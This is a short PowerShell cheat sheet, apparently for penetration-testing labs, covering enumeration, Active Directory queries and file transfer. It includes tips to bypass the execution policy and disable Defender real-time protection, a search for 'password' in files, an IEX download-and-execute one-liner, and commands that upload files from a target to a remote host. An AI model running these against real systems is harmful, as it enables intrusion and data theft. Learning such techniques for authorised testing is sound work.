Table of Contents


Tips

  • Remember, when you get an error talking about a disabled execution of scripts use Set-ExecutionPolicy Bypass -Scope Process and Set-ExecutionPolicy Bypass -Scope Process -Force.
  • Remember to always use the administrative powershell (and cmd) if possible. Sometimes information in regular powershell is just not complete due to insufficient privileges.
  • When some files disappear when you put them on the windows host remember that it could be because of the real-time protection. Go to Windows Security -> Virus & threat protection settings and turn off the Real-time protection setting.
  • Powershell uses verbs and nouns so if you see a command like Set-Location you can expect it to have other versions like Get-Location or New-Location or Remove-Location (not sure if these exact ones do exist tho, just an example)

Useful modules

  • ActiveDirectory
  • PowerView

Basic PowerShell commands

Bypass Restrictions
Set-ExecutionPolicy Bypass -Scope Process -Force

Basics

Get-Location
Set-Location C:\Path
Get-ChildItem
Get-ChildItem -Recurse
New-Item -ItemType File file.txt
Get-Content file.txt
Copy-Item src.txt dst.txt
Move-Item src.txt dst.txt
Remove-Item file.txt

Enumeration

Get-ChildItem -Recurse -Filter "*pattern*"
Select-String "password" -Path *.txt
Get-LocalUser
Get-LocalGroup
Get-LocalGroupMember Administrators
 
# Search for string (in a given dir, given extension)
Get-ChildItem C:\inetpub -Recurse -Filter *.php -ErrorAction SilentlyContinue | Select-String "connection"

Active Directory (requires an AD module)

Get-ADUser -Filter * -Properties *
Get-ADUser -Identity <USERNAME> -Properties *
Get-ADGroup -Filter *
Get-ADGroupMember "GroupName"
Get-ADComputer -Filter *

Transport

IEX (New-Object Net.WebClient).DownloadString('http://<FILE PATH>') - Download and execute PS commands from a file (in memory)
IWR 'http://<FILE PATH>' -OutFile '<FILE NAME>' - Upload a file to the target.
IWR -Uri 'http://<DST_IP>/upload' -Method POST -InFile 'C:\Path\<LOCAL_FILE>' - Download a file from the target
(New-Object Net.WebClient).DownloadFile('ftp://192.168.49.128/file.txt', 'C:\Users\Public\ftp-file.txt') - Downloading a file to the target (Can be HTTP)
(New-Object Net.WebClient).UploadFile('ftp://192.168.49.128/ftp-hosts', 'C:\Windows\System32\drivers\etc\hosts') - Upload a file from the target (Can be HTTP)